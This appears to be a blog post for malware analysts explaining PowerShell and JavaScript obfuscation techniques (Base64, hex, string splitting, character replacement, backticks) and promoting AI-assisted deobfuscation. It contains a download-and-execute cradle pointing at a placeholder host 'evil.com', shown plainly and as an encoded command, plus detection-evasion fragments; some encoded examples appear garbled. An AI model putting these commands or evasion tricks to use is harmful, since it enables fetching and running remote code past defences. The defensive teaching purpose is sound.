Hello, security guardians! π‘οΈ
When you start analyzing malware, you immediately encounter a huge wall: “unreadable code.” It’s clearly a mix of English alphabets and numbers, but it looks like alien language that makes no sense… π€―
This is precisely obfuscation. Attackers employ various techniques to twist code to evade detection by security solutions (antivirus) and prevent analysts from interpreting it.
Today, we will thoroughly dissect four representative obfuscation techniques primarily used in scripting languages like PowerShell and JavaScript. We need to understand these principles to tell AI, “Solve this for me!” right? π
1. What is Obfuscation? π€
Obfuscation is a technique that maintains the program’s functionality (behavior) while transforming the source code to make it difficult for humans or analysis tools to understand.
- Normal Code: “Open the door”
- Obfuscated Code: “O+p+e+n the d+o+o+r 10 times” (The door still opens eventually.)
Security devices typically detect specific strings (signatures) like “Open the door.” When obfuscated, this signature is broken, allowing evasion of detection.
2. Key Technique β : Encoding π¦
This is the most common and basic method. It converts data into a different format, making its content unreadable to the eye.
A. Base64 Encoding (PowerShell’s frequent guest)
Over 90% of PowerShell malware uses Base64.
- Original: IEX (New-Object Net.WebClient).DownloadString(‘http://evil.com’))
- Obfuscated:
powershell.exe -EncodedCommand SQZWAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtACcAKQA= - Characteristics: Often ends with = padding characters and is a long string of mixed uppercase/lowercase letters and numbers. Attackers use the -EncodedCommand (or -enc, -e) option to execute it directly.
B. Hex Encoding / Unicode Encoding (JS, etc.)
Converts characters into hexadecimal (Hex) numbers or Unicode values.
- Original: var url = “http”
- Obfuscated: var x75x72x6c = “x68x74x74x70”
- Characteristics: Appears as numbers preceded by x, u, or % symbols.
3. Key Technique β‘: String Splitting & Joining π§©
Security solutions monitor dangerous words like http, powershell, cmd.exe. Attackers break these words into pieces.
- Original: Invoke-Expression
- Obfuscated: `$a = “In”+”vo”+”ke-“;
$b = “Exp”+”res”+”sion”;
& ($a + $b) …`
- Principle: At runtime, the fragmented strings are combined to form the complete command. Static analysis tools only see the fragmented state, making detection difficult.
4. Key Technique β’: Replacement π
Specific characters are filled with meaningless other characters, which are then removed or replaced with the original characters just before execution.
- Original: http://malware.com
- Obfuscated:
("ht@tp://m@lw@re.c@om").Replace("@", "") - Interpretation: If the interspersed at signs (@) are replaced with empty strings (“”), only the original address remains.
5. Key Technique β£: Utilizing Escape Characters (Backticks) π¦
This is a very unique and malicious (?) technique specific to PowerShell. In PowerShell, the backtick (`) character is used for escaping, and inserting it in the middle of a command has no effect on execution.
- Original: DownloadString
- Obfuscated:
DownloadString` - Principle: It’s annoying for humans to read, and machines (simple string matching systems) don’t recognize the word “DownloadString.” However, the PowerShell interpreter ignores backticks and executes the command normally.
6. Conclusion: Why should we learn this? π
Manually deobfuscating such code, character by character, takes an enormous amount of time. Calculating Replace functions, decoding Base64, and joining fragmented strings can easily keep you up all night. π
However, Generative AI (LLM) excels at such pattern recognition. If you command, “Decode this Base64 code and change the obfuscated variable names to their original meanings,” AI can instantly revert it to human-readable, clean code.
The techniques we learned today are precisely the ‘decryption tasks’ we should assign to AI. Know your enemy and know yourself, and you will win a hundred battles! Now that we understand the principles of obfuscation, shall we go and decrypt with AI? π
Next time, we will put this theory into practice by deobfuscating actual scripts using AI. Stay tuned!
Leave a Reply